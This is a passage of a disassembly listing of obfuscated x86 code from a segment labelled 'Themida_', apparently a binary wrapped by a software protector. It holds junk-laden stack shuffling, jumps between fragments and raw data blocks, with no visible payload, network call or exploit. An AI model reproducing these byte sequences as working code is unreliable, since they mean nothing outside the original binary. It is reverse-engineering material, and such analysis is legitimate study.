		dd 18542985h, 24348150h, 479F5A82h, 82F3815Bh, 0E9479F5Ah
		dd 45C0h, 51243C89h, 0A28C4B9h,	244C3170h, 34FF5904h, 241C8B24h
		dd 0FFB4BAE9h, 0E68956FFh, 4C681h, 0C6830000h, 24348704h
		dd 0C0B60F5Ch, 579E9h, 0AEE98100h, 0E933E469h, 0FFFF73ACh
		dd 4240483h, 0E9242C8Bh, 0FFFF73CFh, 0E95DE901h, 45C9h
		dd 50E28952h, 0FF3546E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54EE05:				; CODE XREF: Themida_:0054CB3Ej
		jz	loc_551FFF
		push	dword ptr [edi+1Ch]
		mov	ecx, [esp]
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		push	ecx
		jmp	loc_546A6B
; ---------------------------------------------------------------------------
		db 81h
		dd 4C7h, 0BB535200h, 63D90AC8h,	4B03E3C1h, 0FFD5D6E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54EE35:				; CODE XREF: Themida_:0054929Bj
		push	eax
		jmp	loc_553E2D
; ---------------------------------------------------------------------------
		db 81h
		dd 0F9276ECEh, 0EBF68145h, 0E955F967h, 0FFFF8A6Fh, 2603405h
		dd 2DC82963h, 63026034h, 0B1307A05h, 49E9594Dh,	0D00007Ah
		dd 6AF47A8Eh, 24DEEC35h, 58C1898Ch, 0D3ABE951h,	0D8F7FFFFh
		dd 0ED7A8D2Dh, 0F916E916h, 0B252FFFFh, 80D2F647h, 0CA8008F2h
		dd 30F28011h, 0FF369DE9h, 0FBBB53FFh, 8141E551h, 0C62D64CBh
		dd 3572E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54EEA6:				; CODE XREF: Themida_:00552868j
		sub	ebx, 6BF0756Dh
		jmp	loc_54AEAD
; ---------------------------------------------------------------------------
		db 68h,	0F9h, 24h
		dd 2C890000h, 0B8C5E924h, 0F1BFFFFFh, 0E94D733Bh, 0FFFFDEC7h
		dd 0FF2C52E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54EECD:				; CODE XREF: Themida_:0054DEF5j
		add	ecx, 4
		jmp	loc_5423A8
; ---------------------------------------------------------------------------

loc_54EED8:				; CODE XREF: Themida_:0054D6F3j
		or	ecx, 4E9F794Ch
		neg	ecx
		jmp	loc_54FF3A
; ---------------------------------------------------------------------------
		db 68h,	3Eh, 7Dh
		dd 3C890000h, 8816E924h, 0CF87FFFFh, 0F7CF8749h, 68D7h
		dd 3C290000h, 469EE924h, 1C8B0000h, 4C48124h, 0E9000000h
		dd 0F02h, 0BF243C89h, 188472A3h, 91E95355h
		db 0FCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54EF23:				; CODE XREF: Themida_:00545D95j
		add	ebp, 0C3112A12h
		sub	eax, ebp
		jmp	loc_5461F6
; ---------------------------------------------------------------------------
		dd 30C9BF57h, 0EF812A11h, 26DB23E5h, 4EC81h, 4890000h
		dd 4A506824h, 14890000h, 63C6BA24h, 0EA831D0Ch,	73EA8101h
		dd 8122A808h, 0FFFFFFC2h, 9BB2E9FFh
		db 2 dup(0FFh)
word_54EF66	dw 248Bh		; DATA XREF: Themida_:00541AA4o
		dd 2BB1E924h, 548FFFFh,	7524FF1Fh, 0FFCC0FE9h, 0C70159FFh
		dd 243C3358h, 33243C31h, 248B243Ch, 2B91E924h, 0F280FFFFh
		dd 43F0E938h
		db 2 dup(0)
word_54EF96	dw 8B66h		; DATA XREF: Themida_:00541890o
		dd 0B7682404h, 89000072h, 0EC83240Ch, 0F087E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54EFAA:				; CODE XREF: Themida_:0054657Dj
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_54338F
; ---------------------------------------------------------------------------

loc_54EFB8:				; CODE XREF: Themida_:00552734j
		not	edi
		sub	edi, 0E72F9660h
		add	ebp, edi
		jmp	loc_54AA70
; ---------------------------------------------------------------------------
		db 5Fh
		dd 81E18951h, 4C1h, 4BE5600h, 81000000h, 0A0876C1h, 81F10139h
		dd 0A0876E9h, 0FF515E39h, 8B042474h, 0C481240Ch, 4, 8B24048Fh
		dd 0C7812424h, 4, 5704EF83h, 42474FFh, 6FD9E9h,	241C8700h
		dd 241C895Ch, 4633E9h
		db 0
; ---------------------------------------------------------------------------

loc_54F019:				; CODE XREF: Themida_:0054E95Fj
		push	2B1D4E4Ch
		pop	edi
		or	edi, 79334486h
		sub	edi, 0FFFFFFFFh
		jmp	loc_550FF4
; ---------------------------------------------------------------------------
		dd 30E0EA81h, 0E2C12B2Ah, 0EAC14A05h, 80E28102h, 8132384Fh
		dd 3941FCF2h, 2454010Dh, 2C815A04h, 0FF21D924h,	24040124h
		dd 0F756E955h, 0C481FFFFh, 4, 8324048Bh, 510504C4h, 0FF605A1Ah
		dd 348B2434h, 4C48124h,	83000000h, 9CE904C4h
		db 2Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54F083:				; CODE XREF: Themida_:005506D9j
		add	ebx, esi
		pop	esi
		jmp	loc_54DE5B
; ---------------------------------------------------------------------------
		db 89h
		dd 99BA2414h, 8179CE77h, 8212E0F2h, 0CEC2815Bh,	8133532Eh
		dd 0AC680AEAh, 4E2C146h, 6F1EE281h, 0F2817357h,	5E4A5128h
		dd 2DE9D329h
		db 63h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54F0BB:				; CODE XREF: Themida_:0054678Dj
		pop	dword ptr [esp]
		pop	esp
		push	804h
		mov	[esp], ecx
		jmp	loc_543A4A
; ---------------------------------------------------------------------------
dword_54F0CC	dd 8B2434FFh, 83532404h, 0BE904ECh, 51FFFFE8h, 0E888D588h
					; DATA XREF: Themida_:0054198Co
		dd 24148B59h, 21D2E9h
		db 0
; ---------------------------------------------------------------------------

loc_54F0E9:				; CODE XREF: Themida_:0054CF4Ej
		mov	edx, 4
		add	esi, edx
		pop	edx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 4
		add	esi, 5E866AC4h
		sub	esi, edi
		sub	esi, 5E866AC4h
		mov	edi, [esp]
		add	esp, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebp
		push	ecx
		push	2E2A204Bh
		pop	ecx
		add	ecx, 5E4D28A8h
		sub	ecx, 0FFFFFFFFh
		shl	ecx, 3
		add	ecx, 9C45B861h
		mov	ebp, ecx
		jmp	loc_551CD3
; ---------------------------------------------------------------------------
		db 68h,	79h, 60h
		dd 0F8E90000h, 0C1FFFF93h, 0E18106E9h, 38F81986h, 0FFE71BE9h
		dd 4EC81FFh, 0E9000000h, 45DFh,	0E9242C89h, 71C4h
; ---------------------------------------------------------------------------

loc_54F168:				; CODE XREF: Themida_:0054C9B2j
		add	edi, ebp
		pop	ebp
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	6A4Eh
		mov	[esp], ebp
		push	esi
		jmp	loc_543DB1
; ---------------------------------------------------------------------------

loc_54F183:				; CODE XREF: Themida_:0054FC3Ej
		mov	eax, 4
		add	edi, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_554D9C
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 6779E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54F1A2:				; CODE XREF: Themida_:0054A183j
		mov	ebx, 0A4B5C5DAh
		sub	edi, ebx
		pop	ebx
		jmp	loc_54D523
; ---------------------------------------------------------------------------
		db 5Eh
		dd 34FFEA01h, 0C4815D24h, 4, 0FF3A89E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54F1C1:				; CODE XREF: Themida_:00547CE4j
		add	esp, 4
		add	esp, 4
		or	eax, eax
		jz	loc_549279
		push	dword ptr [edi+28h]
		jmp	loc_542539
; ---------------------------------------------------------------------------

loc_54F1DA:				; CODE XREF: Themida_:00556125j
		sub	ebx, 3F45552Fh
		sub	ebx, 198724C7h
		jmp	loc_54E0D5
; ---------------------------------------------------------------------------
		db 81h
		dd 844BD9EDh, 81D5291Ah, 844BD9C5h, 24148B1Ah, 0FF3BBBE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54F201:				; CODE XREF: Themida_:00545D64j
		mov	[esp], edi
		mov	edi, 20000h
		and	eax, edi
		push	dword ptr [esp]
		jmp	loc_546311
; ---------------------------------------------------------------------------
		db 2Dh
		dd 7A0F2FADh, 0FF52C3E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54F21D:				; CODE XREF: Themida_:0054FA49j
		pop	esp
		add	ebp, edx
		pop	edx
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	eax
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_547E42
; ---------------------------------------------------------------------------

loc_54F23A:				; CODE XREF: Themida_:0054221Fj
		sub	[esp], edi
		pop	edi
		xchg	ecx, edi
		jmp	loc_543DC4
; ---------------------------------------------------------------------------
		db 68h,	0E3h, 2
		dd 2C8B2791h, 4C48324h,	5AE9E821h, 0E9FFFF2Dh, 0FFFF28C3h
		dd 8124148Bh, 4C4h, 7E054000h, 0E92A9F1Dh, 0FFFF744Ah
; ---------------------------------------------------------------------------

loc_54F270:				; CODE XREF: Themida_:005504D4j
		mov	[esp], ebp
		mov	ebp, eax
		mov	edi, ebp
		jmp	loc_541C8E
; ---------------------------------------------------------------------------
		dd 4C281h, 0EA830000h, 24148704h, 8924248Bh, 8B54243Ch
		dd 0C481243Ch, 4, 4C781h, 0C7830000h, 243C8704h, 0E9D0315Ch
		dd 0FFFF76B3h, 0C681E689h, 4, 4EE81h, 34870000h, 0C895C24h
		dd 0EA50E924h, 0C781FFFFh, 4, 4EF81h, 3C870000h, 34895C24h
		dd 0BDD6824h, 555E25FBh, 730BC9BDh, 6122E925h, 248BFFFFh
		dd 24048F24h, 0E924248Bh, 21FAh, 0E7814F5Bh, 23F92197h
		dd 0E4BBF781h, 0F8316F32h, 0A1EF815Fh, 14DD340h, 0A1C781C7h
		dd 0FF4DD340h, 81582434h, 4C4h,	5E7C100h, 6B24C781h, 0FA013971h
		dd 81243C8Bh, 4C4h, 438E6800h, 34890000h, 2BE24h, 0F2010000h
		dd 74FF525Eh, 8F5A0424h, 248B2404h, 5D44E924h, 48F0000h
		dd 27C1E987h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54F35E:				; CODE XREF: Themida_:00541E09j
		pop	small word ptr [esp]
		mov	dx, [esp]
		jmp	loc_54ABA0
; ---------------------------------------------------------------------------

loc_54F36B:				; CODE XREF: Themida_:00555246j
		xchg	ecx, esi
		jmp	loc_54C7CA
; ---------------------------------------------------------------------------

loc_54F372:				; CODE XREF: Themida_:00543555j
		push	esi
		mov	esi, 28E7D02h
		sub	eax, 538D612Eh
		jmp	loc_54C231
; ---------------------------------------------------------------------------
		dw 4B9h
		dd 29000000h, 4243E9CEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54F38E:				; CODE XREF: Themida_:00552130j
		add	edx, 7304F9Ah
		add	ecx, edx
		jmp	loc_550EE9
; ---------------------------------------------------------------------------
		db 2Ch
		dd 58C30061h, 80DCEB80h, 0C300FDEBh, 2EC81h, 2BE90000h
		dd 81000057h, 4C4h, 24148700h, 241C895Ch, 63A3BA52h, 5B525C36h
		dd 0DBBA525Ah, 81402423h, 566597C3h, 0E9D3293Bh, 0FFFFF48Eh
; ---------------------------------------------------------------------------

loc_54F3DC:				; CODE XREF: Themida_:005530C1j
		mov	ecx, 58B643AEh
		sub	eax, ecx
		jmp	loc_543A60
; ---------------------------------------------------------------------------
		dd 4C281h, 14870000h, 0A79CE924h, 0C181FFFFh, 4, 64EF68h
		dd 1120E900h, 0E9580000h, 5105h, 0AC13EE81h, 8156F77Ah
		dd 3067242Ch, 815A0182h, 823067C2h, 54295E01h, 15A0824h
		dd 81042454h, 0D7042444h, 8B52217Fh, 0C4832414h, 24148B04h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_554D53
; ---------------------------------------------------------------------------
		dw 0E95Bh
		dd 0FFFF621Fh
; ---------------------------------------------------------------------------

loc_54F450:				; CODE XREF: Themida_:00549A91j
		sub	ebx, 3EF901FFh
		dec	ebx
		xor	ebx, 0EE6C36ECh
		and	ecx, ebx
		jmp	loc_5486F8
; ---------------------------------------------------------------------------
		dd 2CE6852h, 0E95A3EBBh, 0FFFF92DEh
; ---------------------------------------------------------------------------

loc_54F470:				; CODE XREF: Themida_:00547DC2j
		sub	edx, eax
		pop	eax
		jmp	loc_54E8DE
; ---------------------------------------------------------------------------
		dd 4C0835Ah, 0E9240433h, 0FFFFD166h
; ---------------------------------------------------------------------------

loc_54F484:				; CODE XREF: Themida_:0054205Fj
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_541B1F
; ---------------------------------------------------------------------------
		db 5Bh
		dd 4C381h, 0E9500000h, 0FFFFAFF2h, 0C0E7E953h, 0E959FFFFh
		dd 0FFFFF63Dh, 5C24048Fh, 0E5B05053h, 0FF6B6DE9h, 4E983FFh
		dd 5C240C87h, 0BE243489h, 4BAE049Eh, 0E6C1DEF7h, 0F2B85003h
		dd 15D7024h, 0F38958C6h, 8BD9015Eh, 0D7E9241Ch,	5EFFFFCFh
		dd 5C24048Fh, 24148966h, 0A8E94EB2h
		db 74h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54F4EF:				; CODE XREF: Themida_:0054A747j
		pop	ebx
		jmp	loc_547CD3
; ---------------------------------------------------------------------------
aUskz		db '^UéªZ',0
		align 4

loc_54F4FC:				; CODE XREF: Themida_:00550AC8j
		mov	ebx, 0CF8656D0h
		add	ebx, eax
		pop	eax
		sub	esi, ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_55197B
; ---------------------------------------------------------------------------

loc_54F517:				; CODE XREF: Themida_:00543421j
		sub	esp, 2
		mov	[esp], dx
		jmp	loc_553100
; ---------------------------------------------------------------------------

loc_54F526:				; CODE XREF: Themida_:00553B8Aj
		mov	edx, [esp]
		add	esp, 4
		push	ebp
		jmp	loc_54B642
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 68000000h, 5CBBh, 0E9240C89h, 0FFFF6877h
; ---------------------------------------------------------------------------

loc_54F548:				; CODE XREF: Themida_:00553786j
		pop	ecx
		add	esp, 4
		xor	[esp+4], ecx
		pop	ecx
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		push	7C580C43h
		jmp	loc_543B9B
; ---------------------------------------------------------------------------

loc_54F56B:				; CODE XREF: Themida_:00544618j
		push	6C6Ah
		jmp	loc_545CD3
; ---------------------------------------------------------------------------
byte_54F575	db 64h,	8Fh, 2		; DATA XREF: Themida_:00541854o
		dd 0FF7BBBE9h, 553B68FFh, 815F55AAh, 5302A0EFh,	1CC78116h
		dd 533AE330h, 4C3769BBh, 5BDF292Bh, 66C5BA52h, 0A1E910C0h
		db 64h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54F5A3:				; CODE XREF: Themida_:00541B2Ej
		sub	ebp, 68676C6h
		sub	ebp, esi
		add	ebp, 68676C6h
		xchg	ebp, esi
		pop	ebp
		push	eax
		jmp	loc_551BFC
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 409BE924h, 4481FFFFh, 20440424h, 442971EDh, 6C810424h
		dd 20440424h, 0E95871EDh, 0FFFF2543h
; ---------------------------------------------------------------------------

loc_54F5DC:				; CODE XREF: Themida_:00552393j
		pop	eax
		add	esp, 4
		jmp	loc_5560E7
; ---------------------------------------------------------------------------
		dd 8124048Bh, 4C4h, 24048F00h, 4A30F5Ch, 20E99C24h, 52FFFF25h
		dd 0FC6294BAh, 81E2D157h, 0E0AA9EF2h, 5AD329F4h, 31DD3158h
		dd 0C1DD31EBh, 0E5D102EDh, 4C24F581h, 0E8017CC2h, 0E92434FFh
		dd 5688h, 5658C701h, 0FF7834E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54F635:				; CODE XREF: Themida_:0055333Ej
		pop	eax
		and	al, bl
		mov	bx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	3ECBh
		mov	[esp], eax
		mov	eax, 2
		jmp	loc_541D22
; ---------------------------------------------------------------------------
		db 83h
		dd 0C4FE04C4h, 0FFEB7AE9h, 7B2D5CFFh, 2D27F365h, 76B7682Ah
		dd 5FE9F001h, 51FFFFACh, 0C181E189h, 4,	8704E983h, 0C6E9240Ch
		dd 81000023h, 4C7h, 243C8700h, 0FE4685Ch, 3C890000h, 1686824h
		dd 8F540000h, 0BA522404h, 4, 4245401h, 0B8505F5Ah, 4, 48BC701h
		dd 4C48324h, 6A8568h, 5C14E900h, 0C890000h, 0EBE95024h
		dd 66FFFF64h, 561D9C05h, 0BB53E689h, 4,	0FF2C0EE9h, 56E789FFh
		dd 782A61BEh, 0E6C14615h, 0EEEE8107h, 8138E71Ch, 0D1EBF2C6h
		dd 5EF7017Ch, 8704EF83h, 248B243Ch, 24148924h, 0FF3187E9h
		dd 2BB850FFh, 2D061F39h, 0E9D8D155h, 0FF5664E9h, 65EA81FFh
		dd 0E9B45739h, 0FFFF4675h
; ---------------------------------------------------------------------------

loc_54F728:				; CODE XREF: Themida_:00541FACj
		sub	ebx, 0ECA1A7C9h
		add	edi, ebx
		pop	ebx
		xchg	edi, [esp]
		pop	esp
		xor	ebx, eax
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_54269B
; ---------------------------------------------------------------------------
		dd 0FE6BB551h, 0F8C580C5h, 0F603EDC0h, 27ED80D5h, 15F580h
		dd 600459E8h, 240C8B66h, 2C481h, 0C3300000h, 0FFE777E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54F775:				; CODE XREF: Themida_:0054DFBCj
		sub	[esp+4], edi
		push	edx
		mov	edx, 4F2B0A0Ch
		add	[esp+8], edx
		pop	edx
		pop	edi
		pop	edx
		push	edi
		mov	edi, 64EC3C47h
		inc	edi
		and	edi, 3C6B21ECh
		sub	edi, 5B551515h
		push	ebx
		jmp	loc_54ABF5
; ---------------------------------------------------------------------------
byte_54F79F	db 66h			; DATA XREF: Themida_:005418F0o
		dd 81240C8Bh, 4ECh, 24148900h, 426768h,	524DE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54F7B6:				; CODE XREF: Themida_:0054E93Bj
		inc	eax
		xchg	eax, [edi+24h]
		jmp	loc_553980
; ---------------------------------------------------------------------------

loc_54F7BF:				; CODE XREF: Themida_:0054358Dj
		xor	ecx, 70676C2Fh
		push	2FB6h
		jmp	loc_55375A
; ---------------------------------------------------------------------------
		db 33h
		dd 3CE92434h, 51FFFFBBh, 0AC2AAEB9h, 2584E904h,	248B0000h
		dd 2434FF24h, 7E8F6859h, 0C890000h, 2458E924h, 0CB310000h
		dd 54DF6859h, 1C890000h, 24348124h, 3AD23DCDh, 2B34E95Eh
		dd 0E4C00000h, 80E4D005h, 0C4FE98C4h, 684CE9h
		db 0
; ---------------------------------------------------------------------------

loc_54F81D:				; CODE XREF: Themida_:005431CFj
		mov	ebp, 693D6C6Ah
		inc	ebp
		or	ebp, 46F371AAh
		add	ebp, 34F62257h
		dec	ebp
		xor	ebp, 0A4F5A045h
		add	edx, ebp
		pop	ebp
		jmp	loc_54FEC4
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 1021BB24h, 814352C7h, 0C61215C3h, 0A3E3813Fh, 8128D07Ch
		dd 1A2517CBh, 0C4E3812Bh, 0E916C560h, 356Fh
; ---------------------------------------------------------------------------

loc_54F864:				; CODE XREF: Themida_:005427D5j
		not	al
		sub	al, 0B8h
		jmp	loc_54AC3F
; ---------------------------------------------------------------------------
		db 5Dh,	40h, 0D1h
		dd 0FFC083E8h, 4D71FC2Dh, 58C389B3h, 8101C383h,	296AB9CBh
		dd 0D1CB8176h, 43317130h, 0D2F7D387h, 8143D387h, 848000EBh
		dd 7C18180h, 810CC03Ah,	7F43D4C1h, 52D90135h, 0FF84A2E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54F8AD:				; CODE XREF: Themida_:005547A6j
		sub	[esp], ecx
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_54FC1E
; ---------------------------------------------------------------------------

loc_54F8CA:				; CODE XREF: Themida_:0054E399j
		shl	edi, 1
		shl	edi, 5
		jmp	loc_555511
; ---------------------------------------------------------------------------
		dd 4C481h, 48F0000h, 43685C24h,	89000006h, 0EC83242Ch
		dd 241C8904h, 0FF6A94E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54F8F1:				; CODE XREF: Themida_:0054C6C1j
		xor	ebx, 77264FCEh
		neg	ebx
		push	eax
		mov	eax, 31B46A9Fh
		jmp	loc_545167
; ---------------------------------------------------------------------------
		dd 121868h, 24248900h, 4240481h, 5B000000h, 4C381h, 0B5E90000h
		db 88h,	2 dup(0FFh)
byte_54F91F	db 66h			; DATA XREF: Themida_:0054185Co
		dd 0E924048Bh, 3126h
; ---------------------------------------------------------------------------

loc_54F928:				; CODE XREF: Themida_:00555F9Dj
		not	ecx
		jmp	loc_54873A
; ---------------------------------------------------------------------------
		db 57h
		dd 0F2226BFh, 94C5E907h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54F93A:				; CODE XREF: Themida_:0054218Aj
		xchg	edi, [esp]
		pop	esp
		xchg	edi, edx
		jmp	loc_54AD95
; ---------------------------------------------------------------------------

loc_54F945:				; CODE XREF: Themida_:00556881j
		push	edi
		jmp	loc_552071
; ---------------------------------------------------------------------------
		db 81h
		dd 4C2h, 4EA8300h, 8B241487h, 8F542424h, 0B8502404h, 4
		dd 2A7E68h, 240C8900h, 228CBB53h, 6CE931FFh, 89FFFF51h
		dd 0C48E9E1h, 0EB810000h, 5B7C213Ah, 0B59E9h
		db 0
; ---------------------------------------------------------------------------

loc_54F989:				; CODE XREF: Themida_:0054886Bj
		mov	ebx, [esp]
		add	esp, 4
		push	edi
		push	4053161Dh
		pop	edi
		add	edi, 5EC53F22h
		jmp	loc_542BE1
; ---------------------------------------------------------------------------

loc_54F9A1:				; CODE XREF: Themida_:005472F4j
		not	ch
		jmp	loc_546D09
; ---------------------------------------------------------------------------
		dd 0E9241C89h, 36BCh
; ---------------------------------------------------------------------------

loc_54F9B0:				; CODE XREF: Themida_:005473FAj
		push	17D9h
		mov	[esp], ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_553458
; ---------------------------------------------------------------------------

loc_54F9CD:				; CODE XREF: Themida_:00543228j
		mov	ebx, esp
		add	ebx, 4
		push	ebp
		push	4
		pop	ebp
		add	ebx, ebp
		pop	ebp
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_54988C
; ---------------------------------------------------------------------------

loc_54F9E8:				; CODE XREF: Themida_:0054E232j
		add	ebx, 3AF00ECFh
		jmp	loc_54D044
; ---------------------------------------------------------------------------

loc_54F9F3:				; CODE XREF: Themida_:0054BC0Aj
		pop	eax
		and	ecx, 653F5FDAh
		xor	ecx, 1F55786Ch
		sub	ecx, 35B7C1FFh
		mov	eax, ecx
		pop	ecx
		push	ebp
		mov	ebp, 17490D48h
		xor	eax, ebp
		pop	ebp
		jmp	loc_54B70B
; ---------------------------------------------------------------------------
		db 59h
		dd 81424242h, 5A2328E2h, 176BE91Eh, 835B0000h, 314504C4h
		dd 0E9EB31DDh, 0FFFFCA64h
; ---------------------------------------------------------------------------

loc_54FA34:				; CODE XREF: Themida_:00548CADj
		mov	ecx, [esp]
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_54F21D
; ---------------------------------------------------------------------------

loc_54FA4E:				; CODE XREF: Themida_:0054242Bj
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], esi
		push	ebx
		push	505E232Fh
		pop	ebx
		jmp	loc_54212A
; ---------------------------------------------------------------------------

loc_54FA70:				; CODE XREF: Themida_:0054BC12j
		pop	edx
		add	esp, 4
		jmp	loc_54321F
; ---------------------------------------------------------------------------
		dd 0E9242489h, 0FFFFA01Fh, 0EEED805Ch, 0C8BE830h, 4C48324h
		dd 650DE9h
		db 0
; ---------------------------------------------------------------------------

loc_54FA95:				; CODE XREF: Themida_:00545F30j
		add	esp, 4
		add	esp, 4
		jmp	loc_542C19
; ---------------------------------------------------------------------------
		db 81h
		dd 0DA670CC7h, 46F7817Ah, 0C16FF36Fh, 0EFC105EFh, 8DF6E908h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54FABA:				; CODE XREF: Themida_:005444AFj
		sub	edx, 1
		add	edx, 0BA9623B4h
		push	edx
		jmp	loc_54FC7A
; ---------------------------------------------------------------------------

loc_54FAC9:				; CODE XREF: Themida_:00552912j
		add	esp, 4
		and	eax, ecx
		pop	ecx
		or	eax, eax
		jz	loc_5486AB
		push	dword ptr [edi+1Ch]
		push	edx
		mov	edx, 3028276Fh
		add	[esp+4], edx
		pop	edx
		pop	ecx
		push	7048h
		jmp	loc_542A4B
; ---------------------------------------------------------------------------
aBqCsHS		db 'ï Cs`h]s',0
		dw 8900h
		dd 3DE9240Ch
		db 39h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54FB03:				; CODE XREF: Themida_:00543359j
		pop	ebp
		shr	edi, 1
		sub	edi, 4EDA53D9h
		shr	edi, 4
		jmp	loc_550003
; ---------------------------------------------------------------------------

loc_54FB14:				; CODE XREF: Themida_:0054359Aj
		sub	edi, 4AB46143h
		push	esi
		jmp	loc_556433
; ---------------------------------------------------------------------------
dword_54FB20	dd 0E92434FFh, 0FFFF46D0h ; DATA XREF: Themida_:00541998o
; ---------------------------------------------------------------------------

loc_54FB28:				; CODE XREF: Themida_:005553C3j
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 66722627h
		jmp	loc_54B2F4
; ---------------------------------------------------------------------------
		db 20h,	0D5h, 5Ah
		dd 0F621C580h, 0F4F580DDh, 80ACC580h, 0F58029C5h, 8BEA881Bh
		dd 0FAE9240Ch
		db 12h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54FB5F:				; CODE XREF: Themida_:00555723j
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_548891
; ---------------------------------------------------------------------------
		dd 4EC81h, 34890000h, 514BE24h,	0F03127C9h, 35D0F75Eh
		dd 0C010891Eh, 0E2E9C231h
		db 5Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54FB8F:				; CODE XREF: Themida_:00542B1Bj
		add	edi, ebp
		pop	ebp
		sub	edi, 5A0105B1h
		sub	edi, edx
		add	edi, 5A0105B1h
		jmp	loc_549175
; ---------------------------------------------------------------------------

loc_54FBA5:				; CODE XREF: Themida_:0055582Ej
		push	edx
		mov	edx, 0
		jmp	loc_5560D6
; ---------------------------------------------------------------------------
		dd 5C240433h, 24048F54h, 4BD55h, 42E90000h, 1FFFF4Dh, 13DBE9D3h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54FBCA:				; CODE XREF: Themida_:00544520j
		xor	edx, 0FF79F00Ah
		add	edx, 665A3DC0h
		neg	edx
		or	edx, 3E94751Eh
		push	ecx
		mov	ecx, 152E6946h
		xor	ecx, 238106E6h
		or	ecx, 67F43406h
		jmp	loc_5429CA
; ---------------------------------------------------------------------------
		db 81h,	0EBh, 6Bh
		dd 154E477h, 7640E9C3h,	0D129FFFFh, 0C577E95Ah,	0C481FFFFh
		dd 4, 81E78957h, 4C7h, 35ECE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54FC1E:				; CODE XREF: Themida_:0054F8C5j
		xchg	esi, [esp]
		pop	esp
		xor	ecx, 16B74927h
		add	ecx, 7848B89h
		sub	edi, 7C906878h
		add	edi, ecx
		add	edi, 7C906878h
		pop	ecx
		push	eax
		jmp	loc_54F183
; ---------------------------------------------------------------------------

loc_54FC43:				; CODE XREF: Themida_:0054E45Dj
		or	eax, eax
		jz	loc_553980
		push	ebx
		mov	ebx, 1Ch
		add	ebx, edi
		push	edx
		push	187Fh
		mov	[esp], ecx
		push	ebx
		mov	ebx, 650D0A81h
		and	ebx, 38455206h
		add	ebx, 220E586Fh
		dec	ebx
		xor	ebx, 625A4229h
		jmp	loc_545C59
; ---------------------------------------------------------------------------

loc_54FC7A:				; CODE XREF: Themida_:0054FAC4j
		add	dword ptr [esp], 405D2111h
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_549044
; ---------------------------------------------------------------------------

loc_54FC8F:				; CODE XREF: Themida_:0054DD11j
		and	edx, 38E65075h
		add	edx, 0B66181FDh
		jmp	loc_553D4C
; ---------------------------------------------------------------------------
		dd 0D0884DB2h, 0E906E95Ah, 815FFFFFh, 0A527E5EBh, 0E930FF74h
		dd 0FFFF1E67h, 0BF243C89h, 1557229h, 3C8BFD21h,	5354E924h
		dd 6C81FFFFh, 6EC90424h, 8B594679h, 0C481242Ch,	4, 313C68h
		dd 240C8900h, 50685352h, 5B1AA106h, 0DE5CEB81h,	0DA89EA6Ah
		dd 56CA815Bh, 0E9449406h, 3375h
; ---------------------------------------------------------------------------

loc_54FD00:				; CODE XREF: Themida_:0054CA64j
		sub	esi, ebp
		pop	ebp
		push	dword ptr [esp]
		pop	edx
		jmp	loc_5442EA
; ---------------------------------------------------------------------------
